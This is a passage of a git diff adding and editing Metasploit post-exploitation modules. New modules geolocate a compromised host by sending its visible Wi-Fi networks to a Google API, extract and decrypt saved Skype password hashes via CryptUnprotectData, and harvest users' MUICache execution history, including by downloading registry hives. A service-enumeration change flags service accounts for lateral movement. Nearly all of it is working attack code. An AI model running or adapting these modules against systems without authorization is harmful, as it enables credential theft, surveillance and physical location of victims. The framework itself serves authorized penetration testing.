+ end + end + end + + # Fill the tab and report eligible servers + dbs.each do |db| + if ::Rex::Socket.is_ipv4?(db[:Server].to_s) + print_good("Reporting #{db[:Server]} ") + report_host(:host => db[:Server]); + end + + db_table << [ db[:Alias] , db[:Type] , db[:Server], db[:Port], db[:Database], db[:Namespace], db[:Userid]] + end + return db_table + end + + + # New config file parse function + def pareseOldConfigFile(raw_xml) + + db_table = Rex::Ui::Text::Table.new( + 'Header' => "Dbvis Databases", + 'Indent' => 2, + 'Columns' => + [ + "Alias", + "Type", + "Url", + "Userid", + ]) + + dbs = [] + db = {} + dbfound = false + versionFound = false + + # fetch config file + raw_xml.each_line do |line| + + if versionFound == false + vesrionFound = findVersion(line) + end + + if line =~ /<Database id=/ + dbfound = true + elsif line =~ /<\/Database>/ + dbfound = false + # save + dbs << db if (db[:Alias] and db[:Url] ) + db = {} + end + + if dbfound == true + # get the alias + if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i) + db[:Alias] = $1 + end + + # get the type + if (line =~ /<Type>([\S+\s+]+)<\/Type>/i) + db[:Type] = $1 + end + + # get the user + if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i) + db[:Userid] = $1 + end + + # get the user + if (line =~ /<Url>([\S+\s+]+)<\/Url>/i) + db[:Url] = $1 + end + end + end + + # Fill the tab + dbs.each do |db| + if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i) + if ::Rex::Socket.is_ipv4?($1.to_s) + print_good("Reporting #{$1}") + report_host(:host => $1.to_s) + end + end + db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ] + end + return db_table + end + + + def findVersion(tag) + found = false + if (tag =~ /<Version>([\S+\s+]+)<\/Version>/i) + print_good("DbVisualizer version : #{$1}") + found = true + end + return found + end + +end diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb new file mode 100644 index 0000000000..15efb30639 --- /dev/null +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -0,0 +1,223 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'json' +require 'net/http' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multiplatform WLAN Enumeration and Geolocation', + 'Description' => %q{ Enumerate wireless networks visible to the target device. + Optionally geolocate the target by gathering local wireless networks and + performing a lookup against Google APIs.}, + 'License' => MSF_LICENSE, + 'Author' => [ 'Tom Sellers <tom[at]fadedcode.net>'], + 'Platform' => %w{ osx win linux bsd solaris }, + 'SessionTypes' => [ 'meterpreter', 'shell' ], + )) + + register_options( + [ + OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]) + ], self.class) + + end + + def get_strength(quality) + # Convert the signal quality to signal strength (dbm) to be sent to + # Google. Docs indicate this should subtract 100 instead of the 95 I + # am using here, but in practice 95 seems to be closer. + signal_str = quality.to_i / 2 + signal_str = (signal_str - 95).round + return signal_str + + end + + def parse_wireless_win(listing) + wlan_list = '' + raw_networks = listing.split("\r\n\r\n") + + raw_networks.each { |network| + details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m) + if !details.nil? + strength = get_strength(details[3]) + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" + wlan_list << network_data + end + } + + return wlan_list + end + + + def parse_wireless_linux(listing) + wlan_list = '' + raw_networks = listing.split("Cell ") + + raw_networks.each { |network| + details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m) + if !details.nil? + network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" + wlan_list << network_data + end + } + + return wlan_list + end + + def parse_wireless_osx(listing) + wlan_list = '' + raw_networks = listing.split("\n") + + raw_networks.each { |network| + network = network.strip + details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/) + if !details.nil? + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" + wlan_list << network_data + end + } + + return wlan_list + end + + def perform_geolocation(wlan_list) + + if wlan_list.blank? + print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") + return + end + + # Build and send the request to Google + url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" + uri = URI.parse(URI.encode(url)) + request = Net::HTTP::Get.new(uri.request_uri) + http = Net::HTTP::new(uri.host,uri.port) + http.use_ssl = true + response = http.request(request) + + # Gather the required information from the response + if response && response.code == '200' + results = JSON.parse(response.body) + latitude = results["location"]["lat"] + longitude = results["location"]["lng"] + accuracy = results["accuracy"] + print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") + print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") + else + print_error("Failure connecting to Google for location lookup.") + end + + end + + + # Run Method for when run command is issued + def run + if session.type =~ /shell/ + # Use the shell platform for selecting the command + platform = session.platform + else + # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform + platform = session.sys.config.sysinfo['OS'] + end + + + case platform + when /win/i + + listing = cmd_exec('netsh wlan show networks mode=bssid') + if listing.nil? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.windows.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + # The wireless output does not lend itself to displaying on screen for this platform. + print_status("Wireless list saved to loot.") + if datastore['GEOLOCATE'] + wlan_list = parse_wireless_win(listing) + perform_geolocation(wlan_list) + return + end + end + + when /osx/i + + listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s') + if listing.nil? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.osx.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + print_status("Target's wireless networks:\n\n#{listing}\n") + if datastore['GEOLOCATE'] + wlan_list = parse_wireless_osx(listing) + perform_geolocation(wlan_list) + return + end + end + + when /linux/i + + listing = cmd_exec('iwlist scanning') + if listing.nil? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.linux.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + # The wireless output does not lend itself to displaying on screen for this platform. + print_status("Wireless list saved to loot.") + if datastore['GEOLOCATE'] + wlan_list = parse_wireless_linux(listing) + perform_geolocation(wlan_list) + return + end + end + + when /solaris/i + + listing = cmd_exec('dladm scan-wifi') + if listing.blank? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.solaris.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + print_status("Target's wireless networks:\n\n#{listing}\n") + print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE'] + return + end + + when /bsd/i + + interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq") + # Printing interface as this platform requires the interface to be specified + # it might not be detected correctly. + print_status("Found wireless interface: #{interface}") + listing = cmd_exec("ifconfig #{interface} scan") + if listing.blank? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.bsd.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + print_status("Target's wireless networks:\n\n#{listing}\n") + print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE'] + return + end + + else + print_error("The target's platform, #{platform}, is not supported at this time.") + return nil + end + + rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + + +end diff --git a/modules/post/multi/manage/record_mic.rb b/modules/post/multi/manage/record_mic.rb index 3d7c7bee17..4b70cdc8e8 100644 --- a/modules/post/multi/manage/record_mic.rb +++ b/modules/post/multi/manage/record_mic.rb @@ -81,4 +81,4 @@ class Metasploit3 < Msf::Post end end -end \ No newline at end of file +end diff --git a/modules/post/windows/gather/credentials/skype.rb b/modules/post/windows/gather/credentials/skype.rb new file mode 100644 index 0000000000..bd14ca2b88 --- /dev/null +++ b/modules/post/windows/gather/credentials/skype.rb @@ -0,0 +1,179 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::Registry + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Gather Skype Saved Password Hash Extraction', + 'Description' => %q{ This module finds saved login credentials + for the Windows Skype client. The hash is in MD5 format + that uses the username, a static string "\nskyper\n" and the + password. The resulting MD5 is stored in the Config.xml file + for the user after being XOR'd against a key generated by applying + 2 SHA1 hashes of "salt" data which is stored in ProtectedStorage + using the Windows API CryptProtectData against the MD5 }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'mubix', # module + 'hdm' # crypto help + ], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ], + 'References' => [ + ['URL', 'http://www.recon.cx/en/f/vskype-part2.pdf'], + ['URL', 'http://insecurety.net/?p=427'], + ['URL', 'https://github.com/skypeopensource/tools'] + ] + )) + end + +# To generate test hashes in ruby use: +=begin + +require 'openssl' + +username = "test" +passsword = "test" + +hash = Digest::MD5.new +hash.update username +hash.update "\nskyper\n" +hash.update password + +puts hash.hexdigest + +=end + + def decrypt_reg(data) + rg = session.railgun + pid = session.sys.process.getpid + process = session.sys.process.open(pid, PROCESS_ALL_ACCESS) + mem = process.memory.allocate(512) + process.memory.write(mem, data) + + if session.sys.process.each_process.find { |i| i["pid"] == pid} ["arch"] == "x86" + addr = [mem].pack("V") + len = [data.length].pack("V") + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8) + len, addr = ret["pDataOut"].unpack("V2") + else + # Convert using rex, basically doing: [mem & 0xffffffff, mem >> 32].pack("VV") + addr = Rex::Text.pack_int64le(mem) + len = Rex::Text.pack_int64le(data.length) + ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16) + pData = ret["pDataOut"].unpack("VVVV") + len = pData[0] + (pData[1] << 32) + addr = pData[2] + (pData[3] << 32) + end + + return "" if len == 0 + return process.memory.read(addr, len) + end + + # Get the "Salt" unencrypted from the registry + def get_salt + print_status "Checking for encrypted salt in the registry" + vprint_status "Checking: HKCU\\Software\\Skype\\ProtectedStorage - 0" + rdata = registry_getvaldata('HKCU\\Software\\Skype\\ProtectedStorage', '0') + print_good("Salt found and decrypted") + return decrypt_reg(rdata) + end + + # Pull out all the users in the AppData directory that have config files + def get_config_users(appdatapath) + users = [] + dirlist = session.fs.dir.entries(appdatapath) + dirlist.shift(2) + dirlist.each do |dir| + if file?(appdatapath + "\\#{dir}" + '\\config.xml') == false + vprint_error "Config.xml not found in #{appdatapath}\\#{dir}\\" + next + end + print_good "Found Config.xml in #{appdatapath}\\#{dir}\\" + users << dir + end + return users + end + + def parse_config_file(config_path) + hex = "" + configfile = read_file(config_path) + configfile.each_line do |line| + if line =~ /Credentials/i + hex = line.split('>')[1].split('<')[0] + end + end + return hex + end + + + + def decrypt_blob(credhex, salt) + + # Convert Config.xml hex to binary format + blob = [credhex].pack("H*") + + # Concatinate SHA digests for AES key + sha = Digest::SHA1.digest("\x00\x00\x00\x00" + salt) + Digest::SHA1.digest("\x00\x00\x00\x01" + salt) + + aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC") + aes.encrypt + aes.key = sha[0,32] # Use only 32 bytes of key + final = aes.update([0].pack("N*") * 4) # Encrypt 16 \x00 bytes + final << aes.final + xor_key = final[0,16] # Get only the first 16 bytes of result + + vprint_status("XOR Key: #{xor_key.unpack("H*")[0]}") + + decrypted = [] + + # Use AES/SHA crypto for XOR decoding + (0...16).each do |i| + decrypted << (blob[i].unpack("C*")[0] ^ xor_key[i].unpack("C*")[0]) + end + + return decrypted.pack("C*").unpack("H*")[0] + end + + + def get_config_creds(salt) + users = [] + appdatapath = expand_path("%AppData%") + "\\Skype" + print_status ("Checking for config files in %APPDATA%") + users = get_config_users(appdatapath) + if users.any? + users.each do |user| + print_status("Parsing #{appdatapath}\\#{user}\\Config.xml") + credhex = parse_config_file("#{appdatapath}\\#{user}\\config.xml") + if credhex == "" + print_error("No Credentials3 blob found for #{user} in Config.xml skipping") + next + else + hash = decrypt_blob(credhex, salt) + print_good "Skype MD5 found: #{user}:#{hash}" + end + end + else + print_error "No users with configs found. Exiting" + end + end + + def run + salt = get_salt + if salt != nil + creds = get_config_creds(salt) + else + print_error "No salt found. Cannot continue without salt, exiting" + end + end + +end + diff --git a/modules/post/windows/gather/enum_muicache.rb b/modules/post/windows/gather/enum_muicache.rb new file mode 100644 index 0000000000..6b25a3dab2 --- /dev/null +++ b/modules/post/windows/gather/enum_muicache.rb @@ -0,0 +1,262 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex' +require 'msf/core' +require 'rex/registry' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::Priv + include Msf::Post::Windows::Registry + + def initialize(info={}) + super(update_info(info, + 'Name' =>'Windows Gather Enum User MUICache', + 'Description' => + %q{ + This module gathers information about the files and file paths that logged on users have + executed on the system. It also will check if the file still exists on the system. This + information is gathered by using information stored under the MUICache registry key. If + the user is logged in when the module is executed it will collect the MUICache entries + by accessing the registry directly. If the user is not logged in the module will download + users registry hive NTUSER.DAT/UsrClass.dat from the system and the MUICache contents are + parsed from the downloaded hive. + }, + 'License' => MSF_LICENSE, + 'Author' => ['TJ Glad <tjglad[at]cmail.nu>'], + 'Platform' => ['win'], + 'SessionType' => ['meterpreter'] + )) + end + + # Scrapes usernames, sids and homepaths from the registry so that we'll know + # what user accounts are on the system and where we can find those users + # registry hives. + def find_user_names + user_names = [] + user_homedir_paths = [] + user_sids = [] + + username_reg_path = "HKLM\\Software\\Microsoft\\Windows\ NT\\CurrentVersion\\ProfileList" + profile_subkeys = registry_enumkeys(username_reg_path) + if profile_subkeys.blank? + print_error("Unable to access ProfileList registry key. Unable to continue.") + return nil + end + + profile_subkeys.each do |user_sid| + unless user_sid.length > 10 + next + end + user_home_path = registry_getvaldata("#{username_reg_path}\\#{user_sid}", "ProfileImagePath") + if user_home_path.blank? + print_error("Unable to read ProfileImagePath from the registry. Unable to continue.") + return nil + end + full_path = user_home_path.strip + user_names << full_path.split("\\").last + user_homedir_paths << full_path + user_sids << user_sid + end + + return user_names, user_homedir_paths, user_sids + end + + # This function builds full registry muicache paths so that we can + # later enumerate the muicahe registry key contents. + def enum_muicache_paths(sys_sids, mui_path) + user_mui_paths = [] + hive = "HKU\\" + + sys_sids.each do |sid| + full_path = hive + sid + mui_path + user_mui_paths << full_path + end + + user_mui_paths + end + + # This is the main enumeration function that calls other main + # functions depending if we can access the registry directly or if + # we need to download the hive and process it locally. + def enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file) + results = [] + + all_user_entries = sys_users.zip(muicache_reg_keys, sys_paths) + + all_user_entries.each do |user, reg_key, sys_path| + + subkeys = registry_enumvals(reg_key) + if subkeys.blank? + # If the registry_enumvals returns us nothing then we'll know + # that the user is most likely not logged in and we'll need to + # download and process users hive locally. + print_warning("User #{user}: Can't access registry. Maybe the user is not logged in? Trying NTUSER.DAT/USRCLASS.DAT...") + result = process_hive(sys_path, user, muicache, hive_file) + unless result.nil? + result.each { |r| + results << r unless r.nil? + } + end + else + # If the registry_enumvals returns us content we'll know that we + # can access the registry directly and thus continue to process + # the content collected from there. + print_status("User #{user}: Enumerating registry...") + subkeys.each do |key| + if key[0] != "@" && key != "LangID" && !key.nil? + result = check_file_exists(key, user) + results << result unless result.nil? + end + end + end + end + + results + end + + # This function will check if it can find the program executable + # from the path it found from the registry. Permissions might affect + # if it detects the executable but it should be otherwise fairly + # reliable. + def check_file_exists(key, user) + program_path = expand_path(key) + if file_exist?(key) + return [user, program_path, "File found"] + else + return [user, program_path, "File not found"] + end + end + + # This function will check if the filepath contains a registry hive + # and if it does it'll proceed to call the function responsible of + # downloading the hive. After successfull download it'll continue to + # call the hive_parser function which will extract the contents of + # the MUICache registry key. + def process_hive(sys_path, user, muicache, hive_file) + user_home_path = expand_path(sys_path) + hive_path = user_home_path + hive_file + ntuser_status = file_exist?(hive_path) + + unless ntuser_status == true + print_warning("Couldn't locate/download #{user}'s registry hive. Unable to proceed.") + return nil + end + + print_status("Downloading #{user}'s NTUSER.DAT/USRCLASS.DAT file...") + local_hive_copy = Rex::Quickfile.new("jtrtmp") + local_hive_copy.close + begin + session.fs.file.download_file(local_hive_copy.path, hive_path) + rescue ::Rex::Post::Meterpreter::RequestError + print_error("Unable to download NTUSER.DAT/USRCLASS.DAT file") + local_hive_copy.unlink rescue nil + return nil + end + results = hive_parser(local_hive_copy.path, muicache, user) + local_hive_copy.unlink rescue nil # Windows often complains about unlinking tempfiles + + results + end + + # This function is responsible for parsing the downloaded hive and + # extracting the contents of the MUICache registry key. + def hive_parser(local_hive_copy, muicache, user) + results = [] + print_status("Parsing registry content...") + err_msg = "Error parsing hive. Unable to continue." + hive = Rex::Registry::Hive.new(local_hive_copy) + if hive.nil? + print_error(err_msg) + return nil + end + + muicache_key = hive.relative_query(muicache) + if muicache_key.nil? + print_error(err_msg) + return nil + end + + muicache_key_value_list = muicache_key.value_list + if muicache_key_value_list.nil? + print_error(err_msg) + return nil + end + + muicache_key_values = muicache_key_value_list.values + if muicache_key_values.nil? + print_error(err_msg) + return nil + end + + muicache_key_values.each do |value| + key = value.name + if key[0] != "@" && key != "LangID" && !key.nil? + result = check_file_exists(key, user) + results << result unless result.nil? + end + end + + results + end + + # Information about the MUICache registry key was collected from: + # + # - Windows Forensic Analysis Toolkit / 2012 / Harlan Carvey + # - Windows Registry Forensics / 2011 / Harlan Carvey + # - http://forensicartifacts.com/2010/08/registry-muicache/ + # - http://www.irongeek.com/i.php?page=security/windows-forensics-registry-and-file-system-spots + def run + print_status("Starting to enumerate MUICache registry keys...") + sys_info = sysinfo['OS'] + + if sys_info =~/Windows XP/ && is_admin? + print_good("Remote system supported: #{sys_info}") + muicache = "\\Software\\Microsoft\\Windows\\ShellNoRoam\\MUICache" + hive_file = "\\NTUSER.DAT" + elsif sys_info =~/Windows 7/ && is_admin? + print_good("Remote system supported: #{sys_info}") + muicache = "_Classes\\Local\ Settings\\Software\\Microsoft\\Windows\\Shell\\MUICache" + hive_file = "\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" + else + print_error("Unsupported OS or not enough privileges. Unable to continue.") + return nil + end + + table = Rex::Ui::Text::Table.new( + 'Header' => 'MUICache Information', + 'Indent' => 1, + 'Columns' => + [ + "Username", + "File path", + "File status", + ]) + + print_status("Phase 1: Searching user names...") + sys_users, sys_paths, sys_sids = find_user_names + + if sys_users.blank? + print_error("Was not able to find any user accounts. Unable to continue.") + return nil + else + print_good("Users found: #{sys_users.join(", ")}") + end + + print_status("Phase 2: Searching registry hives...") + muicache_reg_keys = enum_muicache_paths(sys_sids, muicache) + results = enumerate_muicache(muicache_reg_keys, sys_users, sys_paths, muicache, hive_file) + + results.each { |r| table << r } + + print_status("Phase 3: Processing results...") + loot = store_loot("muicache_info", "text/plain", session, table.to_s, nil, "MUICache Information") + print_line("\n" + table.to_s + "\n") + print_status("Results stored as: #{loot}") + print_status("Execution finished.") + end + +end diff --git a/modules/post/windows/gather/enum_services.rb b/modules/post/windows/gather/enum_services.rb index 8f75d3686f..baf89b0efe 100644 --- a/modules/post/windows/gather/enum_services.rb +++ b/modules/post/windows/gather/enum_services.rb @@ -16,8 +16,8 @@ class Metasploit3 < Msf::Post 'Name' => "Windows Gather Service Info Enumeration", 'Description' => %q{ This module will query the system for services and display name and configuration - info for each returned service. It allows you to optionally search the credentials, path, or start - type for a string and only return the results that match. These query operations + info for each returned service. It allows you to optionally search the credentials, path, + or start type for a string and only return the results that match. These query operations are cumulative and if no query strings are specified, it just returns all services. NOTE: If the script hangs, windows firewall is most likely on and you did not migrate to a safe process (explorer.exe for example). @@ -36,9 +36,12 @@ class Metasploit3 < Msf::Post end + def run # set vars + lootString = "" + credentialCount = {} qcred = datastore["CRED"] || nil qpath = datastore["PATH"] || nil if datastore["TYPE"] == "All" @@ -47,24 +50,29 @@ class Metasploit3 < Msf::Post qtype = datastore["TYPE"] end if qcred - print_status("Credential Filter: " + qcred) + print_status("Credential Filter: #{qcred}") end if qpath - print_status("Executable Path Filter: " + qpath) + print_status("Executable Path Filter: #{qpath}") end if qtype - print_status("Start Type Filter: " + qtype) + print_status("Start Type Filter: #{qtype}") + end + + if datastore['VERBOSE'] + print_status("Listing Service Info for matching services:") + else + print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n") end - print_status("Listing Service Info for matching services:") service_list.each do |sname| srv_conf = {} isgood = true - #make sure we got a service name + # make sure we got a service name if sname begin srv_conf = service_info(sname) - #filter service based on filters passed, the are cumulative + # filter service based on filters passed, the are cumulative if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase isgood = false end @@ -75,22 +83,45 @@ class Metasploit3 < Msf::Post if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase isgood = false end - - #if we are still good return the info - if isgood - vprint_status("\tName: #{sname}") - vprint_good("\t\tStartup: #{srv_conf['Startup']}") - vprint_good("\t\tCommand: #{srv_conf['Command']}") - vprint_good("\t\tCredentials: #{srv_conf['Credentials']}") + # count the occurance of specific credentials services are running as + serviceCred = srv_conf['Credentials'].upcase + unless serviceCred.empty? + if credentialCount.has_key?(serviceCred) + credentialCount[serviceCred] += 1 + else + credentialCount[serviceCred] = 1 + # let the user know a new service account has been detected for possible lateral + # movement opportunities + print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'") + end end - rescue + + # if we are still good return the info + if isgood + msgString = "\tName: #{sname}" + msgString << "\n\t\tStartup: #{srv_conf['Startup']}" + #remove invalid char at the end + commandString = srv_conf['Command'] + commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"") + msgString << "\n\t\t#{commandString}" + msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n" + vprint_good(msgString) + lootString << msgString + end + rescue ::Exception => e + # July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue, + # probably the typical shut-everything-up coding habit. We'll have to fix this later, + # but for now let's at least print the error for debugging purposes print_error("An error occured enumerating service: #{sname}") + print_error(e.to_s) end else - print_error("Problem enumerating services") + print_error("Problem enumerating services (no service name found)") end - end + # store loot on completion of collection + p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services") + print_good("Loot file stored in: #{p.to_s}") end end diff --git a/modules/post/windows/gather/local_admin_search_enum.rb b/modules/post/windows/gather/local_admin_search_enum.rb index dd1309f664..8be4457703 100644 --- a/modules/post/windows/gather/local_admin_search_enum.rb +++ b/modules/post/windows/gather/local_admin_search_enum.rb @@ -30,7 +30,7 @@ class Metasploit3 < Msf::Post 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>', 'Royce Davis "r3dy" <rdavis[at]accuvant.com>' ], - 'Platform' => [ 'windows'], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/gather/lsa_secrets.rb b/modules/post/windows/gather/lsa_secrets.rb index af1252d1e3..7f7baec633 100644 --- a/modules/post/windows/gather/lsa_secrets.rb +++ b/modules/post/windows/gather/lsa_secrets.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['Rob Bathurst <rob.bathurst@foundstone.com>'] + 'Author' => ['Rob Bathurst <rob.bathurst[at]foundstone.com>'] )) end diff --git a/modules/post/windows/gather/netlm_downgrade.rb b/modules/post/windows/gather/netlm_downgrade.rb index c1240cc7fe..3e0e6378f8 100644 --- a/modules/post/windows/gather/netlm_downgrade.rb +++ b/modules/post/windows/gather/netlm_downgrade.rb @@ -23,8 +23,8 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ - 'Brandon McCann "zeknox" <bmccann [at] accuvant.com>', - 'Thomas McCarthy "smilingraccoon" <smilingraccoon [at] gmail.com>' + 'Brandon McCann "zeknox" <bmccann[at]accuvant.com>', + 'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>' ], 'SessionTypes' => [ 'meterpreter' ], 'References' => diff --git a/modules/post/windows/manage/driver_loader.rb b/modules/post/windows/manage/driver_loader.rb index 7f32ab25fc..5ee2b50215 100644 --- a/modules/post/windows/manage/driver_loader.rb +++ b/modules/post/windows/manage/driver_loader.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => 'Borja Merino <bmerinofe[at]gmail.com>', - 'Platform' => 'windows', + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/ie_proxypac.rb b/modules/post/windows/manage/ie_proxypac.rb index 21bced57ef..bae925eefc 100644 --- a/modules/post/windows/manage/ie_proxypac.rb +++ b/modules/post/windows/manage/ie_proxypac.rb @@ -27,7 +27,7 @@ class Metasploit3 < Msf::Post [ 'URL', 'https://www.youtube.com/watch?v=YGjIlbBVDqE&hd=1' ], [ 'URL', 'http://blog.scriptmonkey.eu/bypassing-group-policy-using-the-windows-registry' ] ], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/portproxy.rb b/modules/post/windows/manage/portproxy.rb index 385451e7c3..cb45acc1f5 100644 --- a/modules/post/windows/manage/portproxy.rb +++ b/modules/post/windows/manage/portproxy.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/pptp_tunnel.rb b/modules/post/windows/manage/pptp_tunnel.rb index 9b370683fd..d6c7b912ab 100644 --- a/modules/post/windows/manage/pptp_tunnel.rb +++ b/modules/post/windows/manage/pptp_tunnel.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post [ [ 'URL', 'http://www.youtube.com/watch?v=vdppEZjMPCM&hd=1' ] ], - 'Platform' => 'windows', + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/windows/manage/rpcapd_start.rb b/modules/post/windows/manage/rpcapd_start.rb index df88e5b8b1..c1625ab5ee 100644 --- a/modules/post/windows/manage/rpcapd_start.rb +++ b/modules/post/windows/manage/rpcapd_start.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post PORT will be used depending of the mode configured.}, 'License' => MSF_LICENSE, 'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>'], - 'Platform' => [ 'windows' ], + 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/plugins/wiki.rb b/plugins/wiki.rb new file mode 100644 index 0000000000..466609edd1 --- /dev/null +++ b/plugins/wiki.rb @@ -0,0 +1,574 @@ +## +# +# This plugin requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +# +## + +module Msf + +### +# +# This plugin extends the Rex::Ui::Text::Table class and provides commands +# that output database information for the current workspace in a wiki +# friendly format +# +# @author Trenton Ivey +# * *email:* ("trenton.ivey@example.com").gsub(/example/,"gmail") +# * *github:* kn0 +# * *twitter:* trentonivey +### +class Plugin::Wiki < Msf::Plugin + + ### + # + # This class implements a command dispatcher that provides commands to + # output database information in a wiki friendly format. + # + ### + class WikiCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + # + # The dispatcher's name. + # + def name + "Wiki" + end + + # + # Returns the hash of commands supported by the wiki dispatcher. + # + def commands + { + "dokuwiki" => "Outputs data from the current workspace in dokuwiki markup.", + "mediawiki" => "Outputs data from the current workspace in mediawiki markup." + } + end + + # + # Outputs database entries as Dokuwiki formatted text by passing the + # arguments to the wiki method with a wiki_type of 'dokuwiki' + # @param [Array<String>] args the arguments passed when the command is + # called + # @see #wiki + # + def cmd_dokuwiki(*args) + wiki("dokuwiki", *args) + end + + # + # Outputs database entries as Mediawiki formatted text by passing the + # arguments to the wiki method with a wiki_type of 'mediawiki' + # @param [Array<String>] args the arguments passed when the command is + # called + # @see #wiki + # + def cmd_mediawiki(*args) + wiki("mediawiki", *args) + end + + # + # This method parses arguments passed from the wiki output commands + # and then formats and displays or saves text according to the + # provided wiki type + # + # @param [String] wiki_type selects the wiki markup lanuguage output to + # use, it can be: + # * dokuwiki + # * mediawiki + # + # @param [Array<String>] args the arguments passed when the command is + # called + # + def wiki(wiki_type, *args) + # Create a table options hash + tbl_opts = {} + # Set some default options for the table hash + tbl_opts[:hosts] = [] + tbl_opts[:links] = false + tbl_opts[:wiki_type] = wiki_type + tbl_opts[:heading_size] = 5 + case wiki_type + when "dokuwiki" + tbl_opts[:namespace] = 'notes:targets:hosts:' + else + tbl_opts[:namespace] = '' + end + + # Get the 